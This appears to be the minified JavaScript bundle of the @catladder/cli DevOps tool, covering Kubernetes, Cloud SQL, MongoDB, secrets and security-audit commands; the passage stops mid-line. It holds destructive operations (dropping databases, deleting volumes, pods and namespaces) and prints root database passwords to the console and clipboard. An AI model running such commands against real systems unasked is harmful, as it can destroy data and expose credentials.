UNPKG

@catladder/cli

Version:

Panter cli tool for cloud CI/CD and DevOps

6 lines (4 loc) • 5.05 MB
(()=>{var __webpack_modules__={73318:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});t.evaluateDocument=t.makeTemplate=void 0;const n=i(r(76435));const a=n.default;const s="āœ…";const o="āŒ";const l=`${s}/${o}`;const c="@...";const u=[["Responsible",l,"Description","Note","More Information"]].concat(a.map((e=>[Array(e.responsibles).fill(c).join(", "),l,e.description,"",e.more])));function makeTable(e){const t=calculateColumnWidths(e);return`\n${makeRow(e[0],t," ")}\n${makeRow(e[0].map((()=>"")),t,"-")}\n${e.slice(1).map((e=>makeRow(e,t," "))).join("\n")}\n`}function calculateColumnWidths(e){const t=e[0].length;return Array.from({length:t},((e,t)=>t)).map((t=>Math.max(...e.map((e=>e[t].length)))))}function makeRow(e,t,r){return`| ${e.map(((e,i)=>e.padEnd(t[i],r))).join(" | ")} |`}function makeTemplate(){return`\n# Security Audit Report\n\nA security audit report document is a comprehensive assessment of an application's security posture, containing security topics that auditors can mark to indicate the state of various security aspects.\n\nIt serves as a structured guide for security team to evaluate different security factors such as authentication, authorization, data encryption, input validation, and more.\n\n## General Information\n\n- Project Owner is @...\n- Dev team:\n - @...\n - @...\n - @...\n\n## Project Security\n\n${makeTable(u)}\n\n`}t.makeTemplate=makeTemplate;function evaluateDocument(e){var t,r;const i=(r=(t=e.match(/^\s*\|.*?\|\s*$/gm))===null||t===void 0?void 0:t.map((e=>e.trim())))!==null&&r!==void 0?r:[];const n=i.map((e=>e.split("|").map((e=>e.trim())))).slice(2);const o=new Set(a.map((e=>e.description)));const u=n.map((e=>{const t=e[1].split(", ");const r=e[2];const i=e[3];const n=e[4];const a=!o.has(i);const u=!a&&!r.includes(l)&&!t.some((e=>e.includes(c)));const p=!a&&u&&r.includes(s);return{responsibles:t,answer:r,description:i,note:n,isUnknown:a,isAnswered:u,isSecured:p}}));const p=a.length;const d=u.filter((e=>e.isAnswered)).length;const h=u.filter((e=>e.isSecured)).length;const m=u.filter((e=>e.isUnknown)).length;const b=Math.round(h/p*100);return{topics:u,score:{rating:b,totalTopics:p,answeredTopics:d,securedTopics:h,unknownTopics:m}}}t.evaluateDocument=evaluateDocument},24523:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.createSecurityAuditMergeRequest=t.SECURITY_AUDIT_FILE_NAME=void 0;const i=r(85572);const n=r(73318);function makeDatedBranchName(e){const t=(new Date).toISOString().slice(0,-5).replaceAll(/[:.T]/g,"-");return`${e}-${t}`}const a="Draft: chore(security): add security audit document";t.SECURITY_AUDIT_FILE_NAME="SECURITY.md";async function createSecurityAuditMergeRequest({projectId:e,mainBranch:r,userId:s,api:o}){const l=(await i.Result.wrapAsync((()=>o.MergeRequests.all({state:"opened",wip:"yes",labels:"security-audit"})))).mapErr((()=>`could not search for existing merge requests`));if(l.isErr())return l;const c=l.value[0];if(c)return(0,i.Err)(`open merge request with security audit already exists: ${c.web_url}`);const u=i.Result.wrap((()=>(0,n.makeTemplate)())).mapErr((()=>"could not make security audit template document"));if(u.isErr())return u;const p=(await i.Result.wrapAsync((()=>o.Branches.create(e,makeDatedBranchName("chore/security-audit"),r)))).mapErr((e=>{console.log(e);return"could not create branch"}));if(p.isErr())return p;const d=(await i.Result.wrapAsync((()=>o.Commits.create(e,p.value.name,"chore(security): add empty security audit document template",[{action:"create",filePath:t.SECURITY_AUDIT_FILE_NAME,content:u.value,encoding:"text"}])))).mapErr((()=>"could not create commit"));if(d.isErr())return d;const h=(await i.Result.wrapAsync((()=>o.MergeRequests.create(e,p.value.name,r,a,{description:`Please follow and update security audit document in \`${t.SECURITY_AUDIT_FILE_NAME}\`.`,assigneeId:s,squash:true,labels:"security-audit",removeSourceBranch:true})))).mapErr((()=>"could not create merge request"));return h}t.createSecurityAuditMergeRequest=createSecurityAuditMergeRequest},90371:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.makeSecurityAuditOverview=t.evaluateSecurityAudit=void 0;const i=r(85572);const n=r(16928);const a=r(91943);const s=r(24523);const o=r(73318);async function evaluateSecurityAudit({path:e}){return(await i.Result.wrapAsync((async()=>{const t=(0,n.join)(e,s.SECURITY_AUDIT_FILE_NAME);const r=await(0,a.readFile)(t);const i=r.toString("utf-8");return(0,o.evaluateDocument)(i)}))).mapErr((e=>`could not evaluate ${s.SECURITY_AUDIT_FILE_NAME}: ${e}`))}t.evaluateSecurityAudit=evaluateSecurityAudit;function makeSecurityAuditOverview(e){const ratingToEmo=e=>e<33?"🟄":e<66?"🟨":"🟩";return`Project security posture overview:\n 🧐 Total topics: ${e.score.totalTopics}\n šŸ”’ Secured topics: ${e.score.securedTopics}\n šŸ“¢ Answered topics: ${e.score.answeredTopics}\n ā” Unknown topics: ${e.score.unknownTopics}\n šŸ“Š Rating: ${ratingToEmo(e.score.rating)} ${e.score.rating}/100`}t.makeSecurityAuditOverview=makeSecurityAuditOverview},80149:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=i(r(72999));const a=i(r(53568));const s=r(77090);const o=i(r(65193));const l=i(r(75603));const c=i(r(41156));const u=i(r(87824));const p=i(r(52248));const d=r(18709);const h=r(85490);const m=r(71055);t["default"]=async()=>{const e=new n.default;const t=(0,m.boxWithAsci)(`catladder 😻 v${a.default.version} ✨`);e.delimiter("catladder $").history("catladder").show().log("").log(t).log("");await(0,h.showProjectBanner)(e);(0,d.verify)(e);(0,o.default)(e);(0,u.default)(e);(0,c.default)(e);(0,l.default)(e);(0,p.default)(e);process.on("exit",(()=>{(0,s.stopAllPortForwards)()}))}},38105:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(57151);const n=r(95540);t["default"]=async e=>e.command("cloud-sql-restore-db","restore a db from one source to another target").action((async function restoreDb(){const{sourceInstance:e}=await this.prompt({type:"input",name:"sourceInstance",message:"Source instance (connection string or 'local')? šŸ¤” "});let t;let r;let a;let s;if(e==="local"){const{sourceLocalPort:e}=await this.prompt({type:"number",name:"sourceLocalPort",default:5432,message:"Local Port for source? šŸ¤” "});a=e}else{a=54399;t=await(0,n.startCloudSqlProxyInBackground)({instanceName:e,localPort:a})}const{sourceUsername:o}=await this.prompt({type:"input",name:"sourceUsername",default:"postgres",message:"Source Username? šŸ¤” "});const{sourcePassword:l}=await this.prompt({type:"input",name:"sourcePassword",message:"Source Password? šŸ¤” "});const{sourceDbName:c}=await this.prompt({type:"input",name:"sourceDbName",message:"Source DB name? šŸ¤” "});const{targetInstance:u}=await this.prompt({type:"input",name:"targetInstance",message:"Target INSTANCE (connection string or 'local')? šŸ¤” "});if(u==="local"){const{targetLocalPort:e}=await this.prompt({type:"number",name:"targetLocalPort",default:5432,message:"Local Port for target? šŸ¤” "});s=e}else{s=54499;r=await(0,n.startCloudSqlProxyInBackground)({instanceName:u,localPort:s})}const{targetUsername:p}=await this.prompt({type:"input",name:"targetUsername",default:"postgres",message:"Target Username? šŸ¤” "});const{targetPassword:d}=await this.prompt({type:"input",name:"targetPassword",message:"Target Password? šŸ¤” "});const{targetDbName:h}=await this.prompt({type:"input",name:"targetDbName",message:"Target DB name? šŸ¤” "});const{shouldContinue:m}=await this.prompt({type:"confirm",name:"shouldContinue",message:`This will drop ${u}/${h} and replace it with ${e}/${c}. Continue? šŸ¤” `});if(!m){return}try{await(0,i.spawnCopyDb)({targetPassword:d,targetPort:s,targetUsername:p,sourceUsername:o,sourcePassword:l,sourcePort:a,sourceDbName:c,targetDbName:h})}finally{t===null||t===void 0?void 0:t.stop();r===null||r===void 0?void 0:r.stop()}}))},41156:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=i(r(38105));t["default"]=async e=>{(0,n.default)(e)}},65193:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});t.getAllNamespacesNames=void 0;const n=i(r(57009));const a=r(90390);const s=r(5581);const o=r(67253);const l=r(77090);const c=r(45381);const u=r(79383);const p=i(r(12005));const d=(0,n.default)((async()=>{const e=(0,a.getk8sApi)();const t=await e.listNamespace();return t.body.items}),{maxAge:3e4,promise:true});const getAllNamespacesNames=async()=>{const e=await d();return e.map((e=>e.metadata.name))};t.getAllNamespacesNames=getAllNamespacesNames;t["default"]=async e=>{e.command("kube-current-context").action((async function(){this.log(await(0,s.getCurrentContext)())}));e.command("kube-list-namespaces","list all namespaces").action((async function(){const e=await(0,t.getAllNamespacesNames)();this.log(e.join("\n"))}));e.command("kube-list-secrets <namespace>","show secrets").autocomplete(u.namespaceAutoCompletion).action((async function({namespace:e}){const t=(0,a.getk8sApi)();const r=await t.listNamespacedSecret(e);this.log(r.body.items.map((e=>e.metadata.name)).join("\n"))}));e.command("kube-list-pods <namespace>","list all pods of namespace").autocomplete(u.namespaceAutoCompletion).action((async function({namespace:e}){const t=(0,a.getk8sApi)();const r=await t.listNamespacedPod(e);this.log(r.body.items.map((e=>e.metadata.name)).join("\n"))}));e.command("kube-stop-portforward <name>","stop a running port forward").autocomplete({data:async()=>(0,l.getAllRunningPortForwards)()}).action((async function({name:e}){(0,l.stopPortForward)(e.trim())}));e.command("kube-get-shell <namespace>","get a shell to a pod in the environment").autocomplete(u.namespaceAutoCompletion).action((async function({namespace:e}){const t=(0,a.getk8sApi)();const r=await t.listNamespacedPod(e);if(r.body.items.length===0){(0,o.logError)(this,"sorry, no pods found");return}const i=r.body.items.map((e=>e.metadata.name));const{podName:n}=await this.prompt({type:"list",name:"podName",choices:i,message:"Which pod? šŸ¤”"});await(0,c.getShell)(e,n)}));(0,p.default)(e)}},79383:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.namespaceAutoCompletion=void 0;const i=r(65193);t.namespaceAutoCompletion={async data(){const e=await(0,i.getAllNamespacesNames)();return e}}},12005:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(67253);const n=r(86070);const a=r(90390);const s=r(79383);t["default"]=async e=>e.command("kube-port-forward <namespace>","start port-forwarding").autocomplete(s.namespaceAutoCompletion).action((async function({namespace:e}){const t=(0,a.getk8sApi)();const r=await t.listNamespacedPod(e);if(r.body.items.length===0){(0,i.logError)(this,"sorry, no pods found");return}const s=r.body.items.map((e=>e.metadata.name));if(s.length===0){(0,i.logError)(this,"sorry, no pods found");return}const{podName:o}=await this.prompt({type:"list",name:"podName",choices:s,message:"Which pod? šŸ¤”"});const{localPort:l}=await this.prompt({type:"number",name:"localPort",message:"Local port: "});const{remotePort:c}=await this.prompt({type:"number",name:"remotePort",message:"Remote port: "});return(0,n.startKubePortForward)(o,l,c,e)}))},75603:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=i(r(38990));const a=i(r(75422));const s=i(r(40438));t["default"]=async e=>{(0,a.default)(e);(0,s.default)(e);(0,n.default)(e)}},38990:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(51748);const a=r(45198);const s=r(67253);const o=r(57414);const l=r(52468);const c=i(r(2490));const u=r(38365);const removeFinalizer=async(e,t,r)=>(0,n.exec)(`kubectl patch --namespace ${e} ${t} ${r} -p '{"metadata":{"finalizers":null}}'`);const deleteResource=async(e,t,r)=>(0,n.exec)(`kubectl delete --namespace ${e} ${t} ${r}`);const removeFinalizerAndDelete=async(e,t,r)=>Promise.all([removeFinalizer(e,t,r),await deleteResource(e,t,r)]);t["default"]=async e=>e.command("project-mongo-destroy-member <envComponent>","DESTROY a member of a replicaset in order to reinitialize it").autocomplete(await(0,l.envAndComponents)()).action((async function({envComponent:e}){await c.default.call(this,e);this.log("this command tries to delete a (secondary) member of the replicaset, it's persistent volume claim (pvc) and the volume");this.log("");this.log("this is useful, if you update the stateful set with new volume configuration (different size or storage class)");this.log("");this.log("Kubernetes will usually recreate the missing member with the updated config and mongodb will start synchronizing the new member.");this.log("");this.log("This works without downtime, but should be done when load on the db is low. Also it has not been tested with large dbs (> 10gi)");this.log("");this.log("Deleting the volume and claim often stuck, just wait or cancel and restart.");this.log("");const{understood:t}=await this.prompt({default:true,message:"DO YOU UNDERSTAND?",name:"understood",type:"confirm"});if(!t){throw new Error("abort")}const r=await(0,o.getProjectNamespace)(e);const i=await(0,u.getMongoDbPodsWithReplInfo)(e);const n=await(0,a.getProjectPvcs)(e);const l=i.filter((e=>!e.isMaster));if(l.length===0){(0,s.logError)(this,"sorry, no pods found");return}const p=(await this.prompt({type:"list",name:"podName",choices:l.map((e=>({name:`[ secondary ] ${e.podName}`,value:e.podName}))),message:"Which pod? šŸ¤”"})).podName;const d=n.find((e=>e.metadata.name===`datadir-${p}`));if(!d){(0,s.logError)(this,`sorry, no pvc found for ${p}`);return}const{shouldContinue:h}=await this.prompt({default:true,message:"THIS WILL DESTROY THE POD, ITS VOLUME AND ALL ITS DATA šŸ™€šŸ™€šŸ™€!!! continue? šŸ¤”",name:"shouldContinue",type:"confirm"});if(!h){throw new Error("abort")}this.log("destroying volume...");try{await removeFinalizerAndDelete(r,"pv",d.spec.volumeName)}catch(e){this.log(e.message)}this.log("destroying volume claim...");try{await removeFinalizerAndDelete(r,"pvc",d.metadata.name)}catch(e){this.log(e.message)}this.log("destroying pod...");await removeFinalizerAndDelete(r,"pod",p)}))},75422:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(67253);const a=r(57414);const s=r(52468);const o=i(r(2490));const l=r(38365);t["default"]=async e=>e.command("project-mongo-get-shell <envComponent>","get a shell to a mongodb in the environment").autocomplete(await(0,s.envAndComponents)()).action((async function({envComponent:e}){await o.default.call(this,e);const t=await(0,a.getProjectNamespace)(e);const r=await(0,l.getProjectMongodbAllPodsSortedWithLabel)(e);if(r.length===0){(0,n.logError)(this,"sorry, no pods found");return}let i;if(r.length===1){i=r[0]}else{i=(await this.prompt({type:"list",name:"podName",choices:r,message:"Which pod? šŸ¤”"})).podName}return(0,l.getMongodbShell)(t,i)}))},40438:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(50001);const a=r(67253);const s=r(86070);const o=r(57414);const l=r(52468);const c=i(r(2490));const u=r(38365);const p=i(r(77983));t["default"]=async e=>e.command("project-mongo-port-forward <envComponent>","port foward to a mongodb").autocomplete(await(0,l.envAndComponents)()).action((async function({envComponent:e}){await c.default.call(this,e);const t=await(0,o.getProjectNamespace)(e);const r=await(0,u.getProjectMongodbAllPodsSortedWithLabel)(e);if(r.length===0){(0,a.logError)(this,"sorry, no pods found");return}let i;if(r.length===1){i=r[0].value}else{i=(await this.prompt({type:"list",name:"podName",choices:r,message:"Which pod? šŸ¤”"})).podName}const{localPort:l}=await this.prompt({type:"number",name:"localPort",default:"30000",message:"Local port: "});const{env:d,componentName:h}=(0,n.parseChoice)(e);const m=await(0,n.getEnvVarsResolved)(this,d,h);const b=m===null||m===void 0?void 0:m.MONGODB_ROOT_PASSWORD;const y=`mongodb://root:${b}@localhost:${l}`;p.default.writeSync(y);this.log("");this.log("username: root");this.log(`password: ${b}`);this.log(`connection string: ${y}`);this.log("");this.log("šŸ‘† connection string has been copied to your clipboard!");this.log("");return(0,s.startKubePortForward)(i,l,27017,t)}))},38365:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.getProjectMongodbAllPodsSortedWithLabel=t.getMongoDbPodsWithReplInfo=t.podIsMaster=t.executeMongodbCommand=t.getMongodbShell=t.getProjectMongodbAllPods=void 0;const i=r(51748);const n=r(45198);const a=r(57414);const filterMongoDbs=e=>e.filter((e=>e.includes("mongodb")&&!e.includes("mongodb-backup")&&!e.includes("arbiter")));const getProjectMongodbAllPods=async e=>filterMongoDbs(await(0,n.getProjectPodNames)(e));t.getProjectMongodbAllPods=getProjectMongodbAllPods;const getMongodbShell=async(e,t)=>{const r=`kubectl exec -it ${t} --namespace ${e} mongo`;try{await(0,i.spawn)(r,{shell:true,stdio:"inherit",env:{...process.env,DEBUG:""}})}catch(e){}};t.getMongodbShell=getMongodbShell;const executeMongodbCommand=async(e,t,r)=>{const n=`kubectl exec -it ${t} --namespace ${e} -- mongo --quiet --eval "JSON.stringify(${r})"`;const{stdout:a}=await(0,i.exec)(n,{env:{...process.env,DEBUG:""}});return JSON.parse(a)};t.executeMongodbCommand=executeMongodbCommand;const podIsMaster=async(e,r)=>{try{const i=await(0,t.executeMongodbCommand)(e,r,"db.isMaster()");return i.ismaster}catch(e){return null}};t.podIsMaster=podIsMaster;const spaces=e=>" ".repeat(e);const getMongoDbPodsWithReplInfo=async e=>{const r=await(0,a.getProjectNamespace)(e);return(await Promise.all((await(0,t.getProjectMongodbAllPods)(e)).map((async e=>({podName:e,componentName:e.replace(/-mongodb-replicaset-[0-9]+/,""),isMaster:await(0,t.podIsMaster)(r,e)}))))).sort(((e,t)=>e.isMaster?t.isMaster?0:-1:1))};t.getMongoDbPodsWithReplInfo=getMongoDbPodsWithReplInfo;const getProjectMongodbAllPodsSortedWithLabel=async e=>{const r=await(0,t.getMongoDbPodsWithReplInfo)(e);const i=Math.max(...r.map((e=>e.componentName.length)));return r.map((({podName:e,isMaster:t,componentName:r})=>({value:e,name:`[ ${r}${spaces(i-r.length)} ${t?" PRIMARY ":" secondary "}] ${e}`})))};t.getProjectMongodbAllPodsSortedWithLabel=getProjectMongodbAllPodsSortedWithLabel},76512:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(50001);const n=r(95540);const a=r(52468);const s=r(27827);const o=r(57151);t["default"]=async e=>e.command("project-cloud-sql-restore-db","restores a project db from one source to another target").action((async function restoreDb(){var e,t,r,l,c;const u=await(0,a.envAndComponents)();const{sourceEnvAndComponent:p}=await this.prompt({type:"list",name:"sourceEnvAndComponent",choices:u,message:"Source instance (connection string or 'local')? šŸ¤” "});const[d,h]=p.split(":");const m=await(0,i.getPipelineContextByChoice)(d,h);const b=await(0,i.getEnvVarsResolved)(this,m.env,m.name);let y;let g;let v;let w;let j;let O;let _;let k;let C;let P;const closeAll=()=>{y===null||y===void 0?void 0:y.stop();_===null||_===void 0?void 0:_.stop()};if(d==="local"){const r=new s.ConnectionStringParser({scheme:"postgres",hosts:[]});const i=r.parse(b.DATABASE_URL.toString());k=(t=(e=i.hosts)===null||e===void 0?void 0:e[0])===null||t===void 0?void 0:t.port;v=i.username;w=i.password;g=i.endpoint}else{k=54399;y=await(0,n.startCloudSqlProxyInBackground)({instanceName:b.CLOUD_SQL_INSTANCE_CONNECTION_NAME.toString(),localPort:k});v=b.DB_USER.toString();w=b.DB_PASSWORD.toString();g=(r=b.DB_NAME)===null||r===void 0?void 0:r.toString()}const{targetEnvAndComponent:z}=await this.prompt({type:"list",name:"targetEnvAndComponent",choices:u,message:"target env? šŸ¤” "});const[R,x]=z.split(":");const V=await(0,i.getPipelineContextByChoice)(R,x);const N=await(0,i.getEnvVarsResolved)(this,V.env,V.name);if(R==="local"){const e=new s.ConnectionStringParser({scheme:"postgres",hosts:[]});const t=e.parse(N.DATABASE_URL.toString());C=(c=(l=t.hosts)===null||l===void 0?void 0:l[0])===null||c===void 0?void 0:c.port;j=t.username;O=t.password;P=t.endpoint}else{C=54499;_=await(0,n.startCloudSqlProxyInBackground)({instanceName:N.CLOUD_SQL_INSTANCE_CONNECTION_NAME.toString(),localPort:C});j=N.DB_USER.toString();O=N.DB_PASSWORD.toString();P=N.DB_NAME.toString()}const{shouldContinue:D}=await this.prompt({type:"confirm",name:"shouldContinue",message:`This will drop ${R}/${P} and replace it with ${d}/${g}. Continue? šŸ¤” `});if(!D){this.log("abort");closeAll();return}if(V.environment.envType==="prod"){this.log(`\n🚨 You are overriding a production environment. Please type in ${N.CLOUD_SQL_INSTANCE_CONNECTION_NAME} to continue\n\n`);const{confirmInstance:e}=await this.prompt({type:"input",name:"confirmInstance",message:"confirm: "});if(e!==N.CLOUD_SQL_INSTANCE_CONNECTION_NAME){this.log("abort");closeAll();return}}try{await(0,o.spawnCopyDb)({targetPassword:O,targetPort:C,targetUsername:j,sourceUsername:v,sourcePassword:w,sourcePort:k,sourceDbName:g,targetDbName:P})}finally{closeAll()}}))},29020:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(60241);const a=i(r(77983));const s=r(50001);const o=r(52468);const l=r(95540);const c=r(67253);const getProxyInfo=e=>{var t,r,i,a;if((0,n.isOfDeployType)((t=e.deploy)===null||t===void 0?void 0:t.config,"kubernetes")){return getProxyInfoForKubernetes(this,e)}else if((0,n.isOfDeployType)((r=e.deploy)===null||r===void 0?void 0:r.config,"google-cloudrun")){return getProxyInfoForCloudRun(this,e)}throw new Error(`unsupported environment: ${(a=(i=e.deploy)===null||i===void 0?void 0:i.config)===null||a===void 0?void 0:a.type}`)};const getProxyInfoForKubernetes=async(e,t)=>{var r,i;if(!(0,n.isOfDeployType)((r=t.deploy)===null||r===void 0?void 0:r.config,"kubernetes")){throw new Error("unsupported")}const a=await(0,s.getEnvVarsResolved)(e,t.env,t.name);const o=(0,n.createKubernetesCloudsqlBaseValues)(t);const l=(i=(a===null||a===void 0?void 0:a.DB_PASSWORD)||(a===null||a===void 0?void 0:a.POSTGRESQL_PASSWORD))===null||i===void 0?void 0:i.toString();const c=o.cloudsql.fullDbName.toString();const u=o.cloudsql.instanceConnectionName;return{instanceName:u,DB_PASSWORD:l,DB_NAME:c,DB_USER:"postgres"}};const getProxyInfoForCloudRun=async(e,t)=>{var r,i,a,o,l,u;if(!(0,n.isOfDeployType)((r=t.deploy)===null||r===void 0?void 0:r.config,"google-cloudrun")||!((i=t.deploy)===null||i===void 0?void 0:i.config.cloudSql)){const r=(0,n.getDeployConfigType)((a=t.deploy)===null||a===void 0?void 0:a.config);const i=r==="google-cloudrun"?`DeployConfig is missing the cloudSql property`:`Unsupported DeployConfig type: ${r}`;(0,c.logError)(e,i);throw new Error(i)}const p=await(0,s.getEnvVarsResolved)(e,t.env,t.name);return{instanceName:(o=t.deploy)===null||o===void 0?void 0:o.config.cloudSql.instanceConnectionName,DB_PASSWORD:(l=p===null||p===void 0?void 0:p.DB_PASSWORD)===null||l===void 0?void 0:l.toString(),DB_NAME:t.environment.envVars.DB_NAME.toString(),DB_USER:(u=p===null||p===void 0?void 0:p.DB_USER)===null||u===void 0?void 0:u.toString()}};const getDbUrl=({DB_PASSWORD:e,DB_NAME:t,DB_USER:r},i,n="")=>`DATABASE_URL="postgresql://${r}:${e}@localhost:${i}/${t}${n}"`;const getJdbcUrl=({DB_PASSWORD:e,DB_NAME:t,DB_USER:r},i)=>`DATABASE_JDBC_URL="jdbc:postgresql://localhost:${i}/${t}?schema=public&user=${r}&password=${e}"`;t["default"]=async e=>e.command("project-cloud-sql-proxy <envComponent>","proxy to cloud sql db").autocomplete(await(0,o.envAndComponents)()).action((async function({envComponent:e}){const{env:t,componentName:r}=(0,s.parseChoice)(e);if(!r){(0,c.logWarning)(this,"need componentName");return}const i=await(0,s.getPipelineContextByChoice)(t,r);if(t==="review"){(0,c.logWarning)(this,"connection string does not include mr information on review environments")}const{localPort:n}=await this.prompt({type:"number",name:"localPort",default:"54320",message:"Local port: "});const o=await getProxyInfo(i);const u={PGPASSWORD:o.DB_PASSWORD,PGUSER:o.DB_USER,PGDATABASE:o.DB_NAME,PGHOST:"localhost",PGPORT:n};const p=Object.entries(u).map((([e,t])=>`${e}="${t}"`));const d=getDbUrl(o,n);const h=getJdbcUrl(o,n);a.default.writeSync(["","## CloudSQL proxy connection .env variables",d,h,"## DATABASE_URL with schema=public parameter (e. g. Prisma requires this):",`# ${getDbUrl(o,n,`?schema=public`)}`,"## Env variables for libpq (e.g. psql client https://www.postgresql.org/docs/current/libpq-envars.html#LIBPQ-ENVARS)",...p,""].join("\n"));(0,c.logLines)(this,null,"Connection strings env variables DATABASE_URL and those for the 'psql' client (copied to your clipboard for .env file):",d,h,...p,null,"DATABASE_URL with schema=public parameter (e. g. Prisma requires this):",getDbUrl(o,n,`?schema=public`),null);try{await(0,l.startCloudSqlProxyInCurrentShell)({instanceName:o.instanceName,localPort:n})}catch(e){if(!(e instanceof Error))throw e;if(e.message!==l.ERROR_NOT_INSTALLED)throw e;(0,c.logError)(this,e.message,null,"Please install the Cloud SQL Auth Proxy from:",`https://cloud.google.com/sql/docs/postgres/connect-auth-proxy#install`,null)}}))},58002:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});t.projectConfigSecrets=void 0;const i=r(60241);const n=r(63779);const a=r(49250);const s=r(50001);const o=r(82805);const l=r(4508);const c=r(51762);const u=r(52468);const resolveJson=e=>Object.fromEntries(Object.entries(e).map((([e,t])=>[e,Object.fromEntries(Object.entries(t).map((([e,t])=>[e,Object.fromEntries(Object.entries(t).map((([e,t])=>{try{return[e,JSON.parse(t)]}catch(r){return[e,t]}})))])))])));const getSecretEnvVarKeysToConfigure=async(e,t)=>{const{secretEnvVarKeys:r,jobOnlyVars:i}=await(0,s.getEnvironment)(e,t);return[...i.build.secretEnvVarKeys,...i.deploy.secretEnvVarKeys,...r].filter((e=>!e.hidden)).map((e=>e.key))};const getEnvVarsToEdit=async(e,t,r)=>{const n=await getSecretEnvVarKeysToConfigure(t,r);const a=await(0,s.getEnvVarsResolved)(e,t,r);const o=await(0,s.getJobOnlyEnvVarsResolved)(e,t,r);const l={...a,...o};return Object.fromEntries(n.map((e=>{const n=l[e];const a=n==="$"+(0,i.getSecretVarName)(t,r,e);return[e,a?"🚨 FILL ME":n]})))};const doItFor=async(e,t)=>{let r=Object.fromEntries(await Promise.all(Object.entries(t).map((async([t,r])=>[t,Object.fromEntries(await Promise.all(r.map((async r=>[r,await getEnvVarsToEdit(e,r,t)]))))]))));let i=true;while(i){r=await(0,o.editAsFile)(resolveJson(r),(0,n.stripIndents)` Please fill in all secrets for: ${Object.entries(t).map((([e,t])=>`- ${e}: ${t.join(", ")}`)).join("\n")} `);i=false;for(const[n,s]of Object.entries(t)){for(const t of s){const s=r[n][t]?Object.keys(r[n][t]):[];const o=await getSecretEnvVarKeysToConfigure(t,n);const l=(0,a.difference)(s,o);const u=(0,a.difference)(o,s);if(l.length>0||u.length>0){e.log("");e.log(`😿 Oh no! There is something wrong with "${n}"`);e.log("");if(l.length>0){e.log("these secrets are not declared in the config");l.forEach((t=>e.log(t)));e.log("")}if(u.length>0){e.log("these secrets have not been provided:");u.forEach((t=>e.log(t)));e.log("")}await(0,c.delay)(1e3);const{shouldContinue:t}=await e.prompt({default:true,message:"Try again? šŸ¤”",name:"shouldContinue",type:"confirm"});if(!t){throw new Error("abort")}i=true}}}}e.log("");e.log("upserting all variables, please wait...");e.log("");for(const[i,n]of Object.entries(t)){for(const t of n){e.log("upserting "+t+":"+i+"...\n");await(0,l.upsertAllVariables)(e,r[i][t],t,i);e.log("");e.log("āœ… "+t+":"+i);e.log("--------------------------------\n")}}e.log("done! 😻");e.log("")};const projectConfigSecrets=async(e,t)=>{if(!t){const t=await(0,s.getAllComponentsWithAllEnvsHierarchical)();await doItFor(e,t)}else{const{env:r,componentName:i}=(0,s.parseChoice)(t);if(!i){const t=await(0,s.getProjectComponents)();await doItFor(e,Object.fromEntries(t.map((e=>[e,[r]]))))}if(i){await doItFor(e,{[i]:[r]})}}};t.projectConfigSecrets=projectConfigSecrets;t["default"]=async e=>{e.command("project-config-secrets [envComponent]","setup/update secrets stored in pass").autocomplete(await(0,u.allEnvsAndAllComponents)()).action((async function({envComponent:e}){return await(0,t.projectConfigSecrets)(this,e)}))}},57542:function(e,t,r){"use strict";var i=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(t,"__esModule",{value:true});const n=r(90390);const a=r(45198);const s=r(67253);const o=r(57414);const l=r(52468);const c=i(r(2490));t["default"]=async e=>e.command("project-delete-pods <envComponent>","delete / restart pods").autocomplete(await(0,l.envAndComponents)()).action((async function({envComponent:e}){await c.default.call(this,e);const t=await(0,o.getProjectNamespace)(e);const r=await(0,a.getProjectPodNames)(e);if(r.length===0){(0,s.logError)(this,"sorry, no pods found");return}const{selectedPodNames:i}=await this.prompt({type:"checkbox",name:"selectedPodNames",choices:r,message:"Which pods to delete / restart ? šŸ¤” "});this.log("the following pods will be DELETED šŸ™€ (and therefore restarted 😸)");this.log("");i.forEach((e=>this.log(e)));this.log("");const{shouldContinue:l}=await this.prompt({type:"confirm",name:"shouldContinue",message:"Continue ? šŸ¤” "});this.log("");const u=(0,n.getk8sApi)();if(l){for(const e of i){await u.deleteNamespacedPod(e,t,"true");this.log(`deleted pod '${e}'`)}}}))},4721:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:true});const i=r(51748);const n=r(57414);const a=r(52468);t["default"]=async e=>e.command("project-delete <envComponent>","deletes a environment of a project (it deletes the namespace)").autocomplete(await(0,a.envAndComponents)()).action((async function({envComponent:e}){const t=await(0,n.getProjectNamespace)(e);const{shouldContinue:r}=await this.prompt({type:"confirm",name:"shouldContinue",message:`This will delete the ${t}. You have to reinitialize it if you need it in the future. All data will be lost. Continue? šŸ¤” `});if(!r){return}const a=`kubectl delete namespace 